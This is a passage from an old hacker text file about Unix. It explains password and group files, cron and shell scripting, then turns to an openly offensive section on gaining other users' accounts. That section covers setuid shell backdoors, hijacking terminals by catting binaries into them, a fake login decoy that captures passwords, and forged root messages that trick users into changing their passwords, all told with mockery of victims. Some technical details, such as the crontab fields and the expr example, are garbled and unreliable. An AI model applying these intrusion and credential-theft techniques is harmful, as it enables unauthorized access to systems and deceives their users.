|
Sometimes you may see an entry in the password field like this:
|
|
:NHFfnldyNjh,21AB:
|
|
Notice the period after the 13th character, followed by 2
|
|
digits and 2 letters. If an account has an entry like this, the
|
|
account has a fixed expiration date on its password. The first
|
|
digit, in this case 2, shows the maximum number of weeks that
|
|
the account can keep the same password. The second digit shows
|
|
how many weeks must pass before the account can change its
|
|
password. (This is to prevent users from using the same old
|
|
password constantly by changing the password when forced to and
|
|
then changing it back immediately.) The last 2 characters are
|
|
an encrypted form of when the password was last changed.
|
|
Other unusual password field entries you might encounter are:
|
|
::
|
|
:,21:
|
|
The first entry means that the account has no password. The
|
|
second entry means that the account has no password yet, but
|
|
has a fixed expiration date that wil begin as soon as a pass-
|
|
word is given to it.
|
|
Now, for an explanation of how the Unix system encrypts
|
|
the passwords. The first thing any hacker thinks of is trying
|
|
decrypt the password file. This is as close to impossible as
|
|
anything gets in this world. I've often heard other "hackers"
|
|
brag about doing this...this is the biggest lie since Moses
|
|
said "I did it". The encryption scheme is a variation on the
|
|
DES (Data Encryption Standard). When you enter the command
|
|
passwd (to change the password), the system will form a 2
|
|
character "salt string" based on the process number of the
|
|
password command you just issued. This 2-character string pro-
|
|
duces a slight change in the way the password is encrypted.
|
|
There are a total of 4096 different variations on the
|
|
encryption scheme caused by different salt string characters.
|
|
This is NOT the same encryption scheme used by the crypt
|
|
utility. The password is NEVER decrypted on the system. When
|
|
you log on, the password you enter at the password prompt is
|
|
encrypted (the salt string is taken from the password file)
|
|
and compared to the encrypted entry in the password file. The
|
|
system generates its own key, and as of yet, I have not
|
|
discovered any way to get the key. The login program does
|
|
not encrypt the password you enter itself, it does so, I
|
|
believe, by a system call.
|
|
|
|
/etc/group -This is the group file. This allows the superuser to give
|
|
certain accounts group access to groups other than their own.
|
|
Entries are in the format:
|
|
|
|
group name:password:group number:users in this group
|
|
|
|
The first field is the name of the group. The second is the
|
|
field for the group password. In all my experience with Unix,
|
|
I have never seen the password feature used. The third is the
|
|
group's number. The fourth field is a list of the users who
|
|
group access to this group. (Note: this can include users whose
|
|
group number is different from the number of the group whose
|
|
entry you are reading in the group file.) The usernames are
|
|
separated by commas. Here's an example:
|
|
|
|
sys::2:root,sys,adm,lp
|
|
|
|
To change to a new group identity, type "newgrp [group]". If
|
|
the group has a password, you must enter the proper password.
|
|
You cannot change to another group if you are not listed as a
|
|
member of that group in the group file.
|
|
|
|
|
|
/dev/console -This is the device file for the system console, or the
|
|
system's main terminal.
|
|
|
|
/dev/tty## -The device files for the system's terminals are usually in
|
|
the form tty##, such as tty09, and sometimes ttyaa,ttyab, etc.
|
|
Some ways to make use of the Unix system's treatment of devices
|
|
as files will be explored in the section on Hacking Unix. When
|
|
these files are not in use by a user (in other words, no one's
|
|
logged onto this terminal), the file is owned by root. While a
|
|
user is logged onto a terminal, however, ownership of its
|
|
device file is temporarily transferred to that account.
|
|
|
|
/dev/dk## -These are the device files for the system's disks.
|
|
|
|
login files -There are special files that are in a user's home directory
|
|
that contain commands that are executed when the user logs in.
|
|
The name of the file depends on what shell the user is using.
|
|
Here are the names of the files for the various shells:
|
|
|
|
Shell File
|
|
----- ----
|
|
sh .profile
|
|
csh .cshrc
|
|
ksh .login
|
|
rsh .profile
|
|
|
|
Some systems also use a file called ".logout" that contains
|
|
commands which are executed upon logoff.
|
|
These types of files are called shell scripts, and will
|
|
will be explained in the section on Unix Software Development's
|
|
explanation of shell programming.
|
|
/usr/adm/sulog -This is a log of all attempted uses of the su utility. It
|
|
shows when the attempt was made, what account made it, and
|
|
which account the user attempted to assume, and whether or not
|
|
the attempt was successful.
|
|
/usr/adm/loginlog
|
|
or
|
|
/usr/adm/acct/sum/loginlog- This is a log of all logins to the system. This
|
|
only includes the time and the account's username.
|
|
|
|
mbox -These are files in the home directories of the system's users,
|
|
that contain all the mail messages that they have saved.
|
|
|
|
/usr/mail/<user> -These files in the directory /usr/mail are named after
|
|
system accounts. They contain all the unread mail for
|
|
the account they are named after.
|
|
/dev/null -This is the null device file. Anything written to this file is
|
|
just lost forever. Any attempt to read this file will result in
|
|
an immediate control-D (end of file) character.
|
|
/tmp -The directory /tmp provides storage space for temporary files created
|
|
by programs and other processes. This directory will always have
|
|
rwxrwxrwx permissions. Examining these files occasionally reveals some
|
|
interesting information, and if you know what program generates them
|
|
and the format of the information in the file, you could easily change
|
|
the info in the files, thereby changing the outcome of the program.
|
|
|
|
The Cron Utilities
|
|
------------------
|
|
An understanding of the cron utilities will be necessary to understand certain
|
|
parts of the section on Hacking Unix. This section will give a detailed
|
|
explanation of the workings of the cron utilities.
|
|
The cron utility is a utility which carries out tasks which must beperformed on
|
|
a periodic basis. These tasks, and the times when they are to be carried out, are
|
|
kept in files in 2 directories: /usr/lib and /usr/spool/cron.
|
|
The file crontab in the directory /usr/lib contains entries for system tasks
|
|
that must be performed on a periodic basis. The format for the entries in
|
|
this file is:
|
|
|
|
minute hour dayofmonth monthofyear dayofweek commandstring
|
|
|
|
The first field is the minutes field. This is a value from 0-59.
|
|
The second field is the hour field, a value from 0-23.
|
|
The third field is the day of the month, a value from 1-31.
|
|
The fifth field is the month of the year, a value from 1-2.
|
|
The sixth field is the day of the week, a value from 1-7, with monday being 1.
|
|
The seventh field is the pathname and any arguments of the task to be carried
|
|
out.
|
|
|
|
An asterisk in a field means to carry out the task for every value of that
|
|
field. For instance, an asterisk in the minutes field would mean to carry out
|
|
that task every minute. Here's an example crontab entry:
|
|
|
|
0 1 * * * /bin/sync
|
|
|
|
This runs sync command, which is kept in the directory bin, at 1 am every day.
|
|
Commands in the file /usr/lib/crontab are performed with root privileges.
|
|
In the directory /usr/spool/crontabs, you will find files named after system
|
|
accounts. These files contain cron entries which are the same as those in the
|
|
file /usr/lib/crontab, but are carried out under the id of the user the file is
|
|
named after. The entries are in the same format.
|
|
|
|
BEWARE! When modifying cron files- cron activity is logged! All cron activity
|
|
is logged in the file /usr/adm/cronlog. I've found, however, that on most
|
|
systems, this file is almost never checked.
|
|
|
|
UNIX Software Development
|
|
-------------------------
|
|
The Unix operating system was initially created as an enviroment for software
|
|
development, and that remains its main use. This section will detail some of the
|
|
os's main facilities for software development, the C compiler and shell
|
|
programming, and their related utilities. A few of the other languages
|
|
will be briefly touched upon at the end of this section, also.
|
|
|
|
Shell Programing
|
|
-----------------
|
|
The shell is more than a simple command interpreter. It is also a sophisticated
|
|
programming tool, with variables, control structures, and the features of just
|
|
about any other programming language. Shell programs are called scripts. Scripts
|
|
are just text files which contain the names of commands and programs. When the
|
|
script is executed, the command and programs whose names it contains are executed
|
|
as if you had typed in their names from your keyboard. There are two ways to
|
|
execute a shell script: if you have execute permission to it, you can simply type
|
|
in its name. Otherwise, (if you have read access to it), you can type "sh
|
|
[filename]". Here is a sample shell script:
|
|
|
|
who
|
|
whoami
|
|
|
|
As you can see, it contains the commands who and whoami. When you execute it,
|
|
you will see a list of the system's current users (the output of the who
|
|
command), and which account you are logged in under (the output of the whoami
|
|
command).
|
|
This will concentrate solely on shell programming. While shell programming is
|
|
essentially the same with all the shells, there are slight syntax differences
|
|
that make shell scripts incompatible with shells that they were not specifically
|
|
written for.
|
|
|
|
Shell Variables
|
|
---------------
|
|
Like any programming language, the shell can handle variables. To set the value
|
|
of a variable, type:
|
|
|
|
[variable]=[value]
|
|
|
|
For example:
|
|
|
|
counter=1
|
|
|
|
This will assign the value "1" to the variable counter. If the variable counter
|
|
does not already exist, the shell will create it. Note, that there are no
|
|
"numeric" variables in shell programming- all the variables are strings. For
|
|
instance, we could later type:
|
|
|
|
counter=This is a string
|
|
|
|
And counter would now be equal to "This is a string". There is a command called
|
|
"expr", however, that will let you treat a variable as a numeric value, and
|
|
will be explained later.
|
|
When setting the value of a variable, you only use the variable name. When you
|
|
specify a variable as an argument to a command or program, however, you must
|
|
precede the variable with a dollar sign. For instance:
|
|
|
|
user=root
|
|
|
|
Now, we want to specify user as an argument to the command "ps -u". We would
|
|
type:
|
|
|
|
ps -u$user
|
|
|
|
Which would, of course, display the processes of the user "root".
|
|
|
|
Special Shell Variables
|
|
-----------------------
|
|
There are certain vaiables which are already pre-defined by the shell, and have
|
|
special meaning to it. Here is a list of the more important ones and their
|
|
meanings to the shell:
|
|
|
|
HOME -(Notice the caps. All pre-defined variables are in all-caps.) This
|
|
variable contains the pathname of the user's home directory.
|
|
|
|
PATH -This is a good time to explain something which makes Unix a very
|
|
unique operating system. In Unix, there are no commands "built-in" to
|
|
the operating system. All the commands are just regular programs. The
|
|
PATH variable contains a list of the pathnames of directories. When you
|
|
type in the name of a command or program, the shell searches through
|
|
the directories listed in the PATH variable (in the order specified in
|
|
the variable) until it finds a program with the same name as the name
|
|
you just typed in. The format for the list of directories in the PATH
|
|
variable is:
|
|
|
|
[pathname]:[pathname]:[pathname]...
|
|
|
|
For example, the default searchpath is usually:
|
|
|
|
/bin:/usr/bin:/usr/local
|
|
|
|
A blank entry in the pathname, or an entry for ".", means to check the
|
|
directory the user is currently in. For instance, all these paths
|
|
contain blank or "." entries:
|
|
|
|
.:/bin:/usr/bin [Notice . at begginning of path]
|
|
:/bin:/usr/bin [Notice that path begins with :]
|
|
/bin:/usr/bin: [Note that path ends with : ]
|
|
|
|
PS1 -This variable contains the shell prompt string. The default is usually
|
|
"$" ("&" if you're using BSD Unix). If you have the "&" prompt, and
|
|
wish to have the dollar sign prompt instead, just type:
|
|
|
|
PS1=$
|
|
|
|
TERM -This contains the type of terminal you are using. Common terminal
|
|
types are:
|
|
|
|
ansi vt100 vt52 vt200 ascii tv150
|
|
|
|
And etc... Just type "TERM=[termtype]" to set your terminal type.
|
|
|
|
Command Line Variables
|
|
----------------------
|
|
Command line variables are variables whose values are set to arguments entered
|
|
on the command line when you execute the shell script. For instance, here is a
|
|
sample shell script called "repeat" that uses command line variables:
|
|
|
|
echo $1
|
|
echo $2
|
|
echo $3
|
|
|
|
The echo command prints out the values following it. In this case, it will
|
|
print out the values of the variables $1, $2, and $3. These are the command
|
|
line variables. For instance, $1 contains the value of the first argument you
|
|
entered on the command line, $2 contains the second, $3 contains the third, an
|
|
so on to infinity. Now, execute the script:
|
|
|
|
repeat crack is good
|
|
|
|
The output from the "repeat" shell script would be:
|
|
|
|
crack
|
|
is
|
|
good
|
|
|
|
Get the idea?
|
|
|
|
Special Command Line Variables
|
|
------------------------------
|
|
There are 2 special command line variables, $O and $#. $O contains the name of
|
|
command you typed in (in the last example, $O would be repeat). $# contains the
|
|
number of arguments in the command line. (In the last example, $# would be 3.)
|
|
|
|
Special Commands For Shell Programs
|
|
-----------------------------------
|
|
These commands were added to the Unix os especially for shell programming. This
|
|
section will list them, their syntax, and their uses.
|
|
|
|
read -This command reads the value of a variable from the terminal. The
|
|
format is: "read [variable]". For example, "read number". The variable
|
|
is not preceded by a dollar sign when used as an argument to this com-
|
|
mand.
|
|
|
|
echo -This command displays information on the screen. For example,
|
|
"echo hello" would display "hello" on your terminal. If you specify
|
|
a variable as an argument, it must be preceded by a dollar sign, for
|
|
example "echo $greeting".
|
|
|
|
trap -This command traps certain events, such as the user being disconnected
|
|
or pressing the break key, and tells what commands to carry out if they
|
|
occur. The format is: trap "commands" eventcodes. the event codes are:
|
|
2 for break key, and 1 for disconnect. You can specify multiple com-
|
|
mands with the quotation marks, separating the commands with a semi-
|
|
colon (";"). For example:
|
|
|
|
trap "echo 'hey stupid!'; echo 'don't hit the break key'" 2
|
|
|
|
Would echo "Hey stupid!" and "Don't hit the break key" if the user hits
|
|
the break key while the shell script is being executed.
|
|
|
|
exit -This command terminates the execution of a shell procedure, and ret-
|
|
urns a diagnostic value to the enviroment. The format is:
|
|
"exit [value]", where value is 0 for true and 1 for false. The meaning
|
|
of the value parameter will become clear later, in the section on
|
|
the shell's provisions for conditional execution. If the shell script
|
|
being executed is being executed by another shell script, control is
|
|
passed to the next highest shell script.
|
|
|
|
Arithmatic With EXPR
|
|
--------------------
|
|
The expr command allows you to perform arithmetic on the shell
|
|
variables, and sends the output to the screen. (Though the output may be
|
|
redirected.) The format is:
|
|
|
|
expr [arg] [function] [arg] [function] [arg]...
|
|
|
|
Where [arg] may be either a value, or a variable (preceded by a dollar sign),
|
|
and [function] is an arithmetic operation, one of the following:
|
|
|
|
+ -Add.
|
|
- -Subtract.
|
|
\* -Multiply.
|
|
/ -Divide.
|
|
% -Remainder from a division operation.
|
|
|
|
For example:
|
|
|
|
$ num1=3
|
|
$ num2=5
|
|
$ expr num1 + num2
|
|
8
|
|
$
|
|
|
|
Text Manipulation With Sort
|
|
---------------------------
|
|
The sort command sorts text by ASCII or numeric value. The command format is:
|
|
|
|
sort [field][option]... file
|
|
|
|
where file is the file you wish to sort. (The sort command's input may be
|
|
redirected, though, just as its output, which is ordinarily to the screen, can
|
|
be.) The sort command sorts by the file's fields. If you don't specify any
|
|
specific field, the first field is assumed. for example, say this file
|
|
contained names and test scores:
|
|
|
|
Sam Sloppy 10
|
|
Jello Biafra 5
|
|
Darby Crash 20
|
|
|
|
the file's fields would be first name, last name, and score. So, to sort the
|
|
above file (called "students") by first name, you would issue the command:
|
|
|
|
sort students
|
|
|
|
And you would see:
|
|
|
|
Sam Sloppy 10
|
|
Darby Crash 20
|
|
Jello Biafra 5
|
|
|
|
If you wanted to sort the file's entries by another field, say the second field
|
|
of the file "students" (last names), you would specify:
|
|
|
|
sort +1 students
|
|
|
|
The +1 means to skip ahead one field and then begin sorting. Now, say we wanted
|
|
to sort the file by the 3rd field (scores). We would type:
|
|
|
|
sort +2 students
|
|
|
|
to skip 2 fields. But the output would be:
|
|
|
|
Sam Sloppy 10
|
|
Jello Biafra 5
|
|
Darby Crash 20
|
|
|
|
Notice that the shorter names came first, regardless of the numbers in the
|
|
second field. There is a reason for this- the spaces between the second and 3rd
|
|
fields are considered to be part of the 3rd field. You can tell the sort
|
|
command to ignore spaces when sorting a field, however, using the b option. The
|
|
format would be:
|
|
|
|
sort +2b students
|
|
|
|
but...another error! The output would be:
|
|
|
|
Sam Sloppy 10
|
|
Darby Crash 20
|
|
Jello Biafra 5
|
|
|
|
Why did the value 5 come after 10 and 20? Because the sort command wasn't
|
|
really sorting by numeric value- it was sorting by the ASCII values of the
|
|
characters in the third field, and 5 comes after the digits 1 and 2. We could
|
|
specify that the field be treated by its numerical value by specifying the n
|
|
option:
|
|
|
|
sort +2n students
|
|
|
|
Output:
|
|
|
|
Jello Biafra 5
|
|
Sam Sloppy 10
|
|
Darby Crash 20
|
|
|
|
Notice that if we use the n option, blanks are automatically ignored.
|
|
|
|
We can also specify that sort work in the reverse order on a field. For
|
|
example, if we wanted to sort by last names in reverse order:
|
|
|
|
sort +1r students
|
|
|
|
Output:
|
|
|
|
Jello Biafra 5
|
|
Darby Crash 20
|
|
Sam Sloppy 10
|
|
|
|
By using pipes, you can direct the output of one sort command to the input of
|
|
yet another sort command, thus allowing you to sort a file by more than one
|
|
field. This makes sort an excellent tool for text manipulation. It is not,
|
|
however, the only one. Remember, you can use any Unix command or program in a
|
|
shell script, and there are many different commands for text manipulation in
|
|
Unix, such as grep (described in an earlier section on basic commands).
|
|
Experiment with the different commands and ways of using them.
|
|
|
|
Looping
|
|
-------
|
|
The for/do loop is a simple way to repeat a step for a certain number
|
|
of times. The format is:
|
|
|
|
for [variable] in [values]
|
|
do [commands]
|
|
done
|
|
|
|
You do not precede the variable with a dollar sign in this command. The for/do
|
|
loop works by assigning the variable values from the list of values given, one
|
|
at a time. For example:
|
|
|
|
for loopvar in 1 2 3 5 6 7
|
|
do echo $loopvar
|
|
done
|
|
|
|
On the first pass of the loop, loopvar would be assigned the value 1, on the
|
|
second pass 2, on the third pass 3, on the fourth pass 5, on the fifth pass 6,
|
|
and on the sixth pass 7. I skipped the number 4 to show that you do not have to
|
|
use values in numerical order. In fact, you don't have to use numerical
|
|
arguments. You could just as easily have assigned loopvar a string value:
|
|
|
|
for loopvar in apples peaches pears
|
|
do echo "This pass's fruit is:"
|
|
echo $loopvar
|
|
done
|
|
|
|
Note that you can also specify multiple commands to be carried out in the do
|
|
portion of the loop.
|
|
|
|
Selective Execution With CASE
|
|
-----------------------------
|
|
The case command allows you to execute commands based on the value of a
|
|
variable. The format is:
|
|
|
|
case [variable] in
|
|
|
|
[value]) commands
|
|
commands
|
|
commands;;
|
|
[value2]) commands
|
|
commands;;
|
|
[value3]) ...and so on
|
|
esac
|
|
|
|
For example:
|
|
|
|
case $choice in
|
|
1) echo "You have chosen option one."
|
|
echo "This is not a good choice.";;
|
|
|
|
2) echo "Option 2 is a good choice.";;
|
|
|
|
*) echo "Invalid option.";;
|
|
esac
|
|
|
|
Now, to explain that:
|
|
If the variable choice's value is "1", the commands in the section for
|
|
the value 1 are carried out until a pair of semicolons (";;") is found. The
|
|
same if the value of choice is "2". Now, note the last entry, "*". This is a
|
|
wildcard character. This means to execute the commands in this section for any
|
|
other value of choice. Easac signals the end of the list of execution options
|
|
for case.
|
|
|
|
Determining True/False Conditions With TEST
|
|
-------------------------------------------
|
|
The test command tests for various conditions of files and variables
|
|
and returns either a true value (0) or a false value (1), which is used in
|
|
conjuction with the if/then statements to determine whether or not a series of
|
|
commands are executed. There are several different formats for test, depending
|
|
on what kind of condition you are testing for. When using variables with test,
|
|
you must always precede the variable with a dollar sign.
|
|
|
|
Numeric Tests
|
|
-------------
|
|
Format:
|
|
test [arg1] option [arg2]
|
|
|
|
the arguments can either be numbers or variables.
|
|
|
|
OPTIONS TESTS TRUE IF
|
|
------- -------------
|
|
-eq arg1=arg2
|
|
-ne arg1<>arg2
|
|
-gt arg1>arg2
|
|
-lt arg1<arg2
|
|
-ge arg1>=arg2
|
|
-le arg1<=arg2
|
|
|
|
Filetype Tests
|
|
-------------
|
|
Format:
|
|
test [option] file or directory name
|
|
|
|
OPTIONS TESTS TRUE IF
|
|
------- -------------
|
|
-s file or directory exists and is not empty
|
|
-f the "file" is a file and not a directory
|
|
-d the "file" is really a directory
|
|
-w the user has write permission to the file/directory
|
|
-r the user has read permission to the file/directory
|
|
|
|
Character String Tests
|
|
----------------------
|
|
Format:
|
|
test [arg1] option [arg2]
|
|
The arguments can be either strings of characters or variables with character
|
|
string values.
|
|
|
|
OPTIONS TESTS TRUE IF
|
|
------- -------------
|
|
= arg1=arg2
|
|
!= arg<>arg2
|
|
|
|
A note here about string tests. You must enclose the names of the variables in
|
|
quotation marks (like "$arg1") if you wish the test to take into consideration
|
|
spaces, otherwise space characters are ignored, and " blue" would be
|
|
considered the same as "blue".
|
|
|
|
Testing For the Existance of a String of Characters
|
|
---------------------------------------------------
|
|
Format:
|
|
test [option] arg
|
|
Arg is a variable.
|
|
|
|
OPTIONS TESTS TRUE IF
|
|
------- -------------
|
|
-z variable has a length of 0
|
|
-n variable has a length greater than 0
|
|
|
|
COMBINING TESTS WITH -A AND -O
|
|
------------------------------
|
|
These options stand for "and" (-a) and "or" (-o). They allow you to
|
|
combine tests, for example:
|
|
|
|
test arg1 = arg2 -o arg1 = arg3
|
|
|
|
means that a true condition is returned if arg1=arg2 or arg1=arg3.
|
|
|
|
|
|
Conditional Execution With IF/THEN/ELSE/ELIF
|
|
--------------------------------------------
|
|
Format:
|
|
if [this condition is true]
|
|
then [do these commands]
|
|
fi
|
|
|
|
Example:
|
|
|
|
if test arg1 = arg2
|
|
then echo "argument 1 is the same as argument 2"
|
|
fi
|
|
|
|
This is pretty much self-explanatory. If the condition test on the if line
|
|
returns a true value, the the commands following "then" are carried out until
|
|
the fi statement is encountered.
|
|
|
|
Format:
|
|
if [this condition is true]
|
|
then [do these commands]
|
|
else [do these commands]
|
|
fi
|
|
|
|
Again, pretty much self explanatory. The same as the above, except that if the
|
|
condition isn't true, the commands following else are carried out, until fi is
|
|
encountered.
|
|
|
|
Format:
|
|
if [this condition is true]
|
|
then [do these commands]
|
|
elif [this condition is true]
|
|
then [do these commands]
|
|
fi
|
|
|
|
The elif command executes another condition test if the first condition test is
|
|
false, and if the elif's condition test returns a true value, the command for
|
|
its then statement are then carried out. Stands for "else if".
|
|
|
|
WHILE/DO Loops
|
|
--------------
|
|
Format:
|
|
while [this condition is true]
|
|
then [do these commands]
|
|
done
|
|
|
|
Repeats the commands following "then" for as long as the condition following
|
|
"while" is true. Example:
|
|
|
|
while test $looper != "q"
|
|
then read looper
|
|
echo $looper
|
|
done
|
|
|
|
while will read the value of the variable looper from the keyboard and display
|
|
it on the screen, and ends if the value of looper is "q".
|
|
|
|
Summary
|
|
-------
|
|
This small tutorial by no means is a complete guide to shell
|
|
programming. Look at shell scripts on the systems you crack and follow their
|
|
examples. Remember, that you can accomplish a great deal by combining the
|
|
various control structures (such as having an if/then conditional structure
|
|
call up a while/do loop if the condition is true, etc.) and by using I/O
|
|
redirection, pipes, etc. My next Unix file will cover more advanced shell
|
|
programming, and examine shell programming on another popular shell, the
|
|
Berkely C shell.
|
|
|
|
The C Compiler
|
|
--------------
|
|
C is sort of the "official" language of Unix. Most of the Unix operating system
|
|
was written in C, and just about every system I've ever been on had the C
|
|
compiler. The command to invoke the c compiler is cc. The formatis "cc
|
|
[filename]", where filename is the name of the file which contains the source
|
|
code. (The filename must end in .c) You can create the source code file with any
|
|
of the system's text editors. The include files, stdio.h and others, are kept in
|
|
a directory on the system. You do not have to have a copy of these files in your
|
|
current directory when you compile the file, the compiler will search this
|
|
directory for them. If you wish to include any files not in the include library,
|
|
they must be in your current directory. The compiled output will be a file called
|
|
"a.out" in your current directory.
|
|
|
|
Compiling Individual Modules
|
|
----------------------------
|
|
If you're working on a very large program, you will probably want to break it up
|
|
into small modules. You compile the individual modules with the -c option, which
|
|
only generates the object files for the module. Then, use the link editor to
|
|
combine and compile the object files. The object files will be generated with the
|
|
same name as the source files, but the file extension will be changed from .c to
|
|
.o When you have created all the object files for all of the modules, combine
|
|
them with the ld (link editor) like this:
|
|
|
|
ld /lib/crtO.o [module] [module]... -lc
|
|
|
|
which will give you the final, compiled program, in a file named a.out. For
|
|
example:
|
|
|
|
ld /lib/crtO.o part1.o part2.o -lc
|
|
|
|
You must remeber to include /lib/crtO.o and the -lc parts in the command, in
|
|
the order shown. Also, the object files must be specified in the ld command
|
|
in the order that they must be in the program (for instance, if part1 called
|
|
part2, part2 can't be BEFORE part1).
|
|
|
|
Checking for Errors in C Programs
|
|
---------------------------------
|
|
The lint command checks for errors and incompatibility errors in C source code.
|
|
Type "lint [c source-code file]". Not all of the messages returned by lint are
|
|
errors which will prevent the program from compiling or executing properly. As
|
|
stated, it will report lines of code which may not be transportable to other Unix
|
|
systems, unused variables, etc.
|
|
|
|
C Beautifier
|
|
------------
|
|
The cb (C beautifier) program formats C source code in an easy to read,
|
|
"pretty" style. The format is "cb [file]". The output is to the screen, so if
|
|
you want to put the formatted source code into a file, you must redirect the
|
|
output.
|
|
|
|
Special C Commands
|
|
------------------
|
|
The Unix C compiler has a command called system that executes Unix commands and
|
|
programs as if you had typed in the commands from the keyboard.
|
|
The format is:
|
|
|
|
system("command line")
|
|
|
|
Where command line is any command line you can execute from the shell, such as:
|
|
|
|
system("cat /etc/passwd")
|
|
|
|
Another command which performs a similar function is execvp. The format is:
|
|
|
|
execvp("command")
|
|
|
|
An interesting trick is to execute a shell program using execvp. This will make
|
|
the program function as a shell.
|
|
|
|
Hacking the UNIX System
|
|
-----------------------
|
|
This is it, k-rAd d00dErS, the one you've waded through all that rodent
|
|
nonsense for! This section will describe advanced hacking techniques. Most of
|
|
these techniques are methods of defeating internal security (I.E. security once
|
|
you're actually inside the system). There is little to be said on the subject
|
|
of hacking into the system itself that hasn't already been said in the earlier
|
|
sections on logging in, Unix accounts, and Unix passwords. I will say this
|
|
much- it's easier, and faster, to password hack your way from outside the
|
|
system into a user account. Once you're actually inside the system, you will
|
|
find it, using the techniques described in this section, almost easy to gain
|
|
superuser access on most systems. (Not to mention that nothing is quite as
|
|
rewarding as spending 3 days hacking the root account on a system, only to
|
|
receive the message "not on console-disconnecting" when you finally find the
|
|
proper password.) If you do not have a good understanding of the Unix operating
|
|
system and some of its more important utilities already, you should read the
|
|
earlier parts of this file before going on to this section.
|
|
|
|
Overcoming RSH Restrictions
|
|
---------------------------
|
|
The rsh (restricted Bourne shell) shell attempts to limit the commands
|
|
available to a user by preventing him from executing commands outside of his
|
|
searchpath, and preventing him from changing directories. It also prevents you
|
|
from changing the value of shell variables directly (i.e. typing
|
|
"variable=value"). There are some easy ways to overcome these restrictions.
|
|
You can reference any file and directory in the system by simply using its full
|
|
pathname. You can't change directories like this, or execute a file that is
|
|
outside of your searchpath, but you can do such things as list out the contents
|
|
of directories, edit files in other directories, etc. (If you have access to the
|
|
necessary commands.)
|
|
The biggest flaw in rsh security is that the restrictions that are described
|
|
above ignored when the account's profile file is executed upon logon. This means
|
|
that, if you have access to the edit command, or some other means of modifying
|
|
your account's profile, you can add a line to add a directory to your searchpath,
|
|
thereby letting you execute any programs in that directory. The restriction on
|
|
changing directories is also ignored during logon execution of the profile. So,
|
|
if you absolutely, positively HAVE to go to another directory, you can add a cd
|
|
command your .profile file.
|
|
|
|
Overcoming COPY and WRITE Restrictions
|
|
--------------------------------------
|
|
This is a simple trick. If you have read access t a file, but cannot copy it
|
|
because of directory protections, simply redirect the output of the cat command
|
|
into another file. If you have write access to a directory but not write access
|
|
to a specific file, you can create a copy of the file, modify it (since it will
|
|
be owned by your account), delete the original, and rename the copy to the name
|
|
of the original.
|
|
|
|
Detached Accounts
|
|
-----------------
|
|
This is a big security hole in many Unix systems. Occasionally, if a user is
|
|
disconnected without logging off, his account may remain on-line, and still
|
|
attached to the tty he was connected to the system through. Now, if someone calls
|
|
to the system and and gets connected to that tty, he is automatically inside the
|
|
system, inside the disconnected user's account. There are some interesting ways
|
|
to take advantage of this flaw. For instance, if you desire to gain the passwords
|
|
to more account, you can set a decoy program up to fake the login sequence,
|
|
execute the program, and then disconnect from the system. Soon, some unlucky user
|
|
will call the system and be switched into the detached account's tty. When they
|
|
enter their username and password, the decoy will store their input in a file on
|
|
the system, display the message "login incorrect", and then kill the detached
|
|
account's shell process, thus placing the user at the real login prompt. A Unix
|
|
decoy written by Shooting Shark will be given at the end of this file.
|
|
|
|
UID Shells
|
|
----------
|
|
When the uid bit is set on a shell program, executing this shell will change
|
|
your user id to the user id of the account that owns the shell file, and you will
|
|
have full use of that account, until you press control-d (ending the second shell
|
|
process) and return to your normal user id. This gives you the power to execute
|
|
any commands under that account's user id. This is better than knowing the
|
|
account's password, since as long as the file remains on the system, you can
|
|
continue to make use of that account, even if the password is changed. When I
|
|
gain control of an account, I usually make a copy of the shell while logged in
|
|
under that account in a nice, out of the way directory, and set its uid and gid
|
|
bits. That way, if I should happen to lose the account (for instance, if the
|
|
password were changed), I could log in under another account and still make use
|
|
of the lost account by executing the uid shell.
|
|
|
|
Forced Detaching
|
|
----------------
|
|
This is an easy means of gaining the use of an account on systems with the
|
|
detached account flaw. Usually, most terminal device files will have public
|
|
write permission, so that the user that logs in under it can receive messages
|
|
via write (unless he turns off messages with the mesg n command). This means
|
|
that you can cat a file into the user's terminal device file. A compiled file,
|
|
full of all kinds of strange control characters and garbage, works nicely. Say,
|
|
the user is logged in on tty03. Just type cat /bin/sh > /dev/tty03. The user
|
|
will see something like this on his screen:
|
|
|
|
LKYD;uiayh;fjahfasnf kajbg;aev;iuaeb/vkjeb/kgjebg;iwurghjiugj;di vd
|
|
b/fujhf;shf;j;kajbv;jfa;vdblwituwoet8y6-
|
|
2958ybp959vqvq43p8ytpgyeerv98tyq438pt634956b v856 -868vcf-56-
|
|
e8w9v6bc[6[b6r8wpcvt
|
|
|
|
Hehehe! Now, the poor devil is confused. He tries to press break- no response,
|
|
and the garbage just keeps coming. He tries to enter various commands, to no
|
|
avail. Catting a file into his terminal device file "ties it up", so to speak,
|
|
and since this is the file through which all I/O with his terminal is done, he
|
|
finds it almost impossible to get any input through to the shell. He can't even
|
|
log off! So, in desperation, he disconnects... It is best to execute the cat
|
|
command as a background process, so that you can keep an eye on the users on
|
|
the system. Usually, the user will call the system back and, unless he gets
|
|
switched back into his old detached account (in which case he will usually hang
|
|
up again), he will kill the detached account's login process. So, if you see 2
|
|
users on the system using the same username, you know he's logged back in
|
|
already. Anyways...after an appropriate length of time, and you feel that he's
|
|
disconnected, log off and call the system back a few times until you get
|
|
switched into the detached account. Then just create a uid shell owned by the
|
|
account and you can use it any time you please, even though you don'tknow the
|
|
password. Just remember one thing, though-when the cat command has finished
|
|
displaying the compiled file on the victim's screen, if he is still logged on
|
|
to that terminal, he will regain control. Use a long file!
|
|
|
|
Faking WRITE Messages
|
|
---------------------
|
|
Being able to write to other people's terminal files also makes it possible to
|
|
fake write messages from any user on the system. For example, you wish to fake a
|
|
message from root. Edit a file to contain these lines:
|
|
Message from root console ^g [note control-g (bell) character]
|
|
Bill, change your password to "commie" before logging off today. There has been
|
|
a security leak.
|
|
<EOF> [don't forget to put this-<EOF>-in the file.]
|
|
Now, type "who" to find bill's tty device, and type:
|
|
|
|
cat [filename] > /dev/ttyxx
|
|
|
|
Bill will see:
|
|
|
|
Message from root console [beep!]
|
|
Bill, change your password to "commie" before logging off today. There has been
|
|
a security leak.
|
|
<EOF>
|
|
|
|
When File Permissions Are Checked
|
|
---------------------------------
|
|
Unix checks file permissions every time you issue a write or execute command to
|
|
a file. It only checks read permissions, however, when you first issue the read
|
|
command. For instance, if you issued the command to cat the contents of a file,
|
|
and someone changed the file's permissions so that you did not have read
|
|
permission while the process was still being executed, the cat command would
|
|
continue as normal.
|
|
|
|
Online Terminal Reading
|
|
-----------------------
|
|
You can also, if you have some means of assuming an account's userid, (such as
|
|
having a uid shell for that account), you can read the contents of someone's
|
|
terminal on-line. Just execute the uid shell and type "cat /dev/ttyxx &" (which
|
|
will execute the cat command in the background, which will still display the
|
|
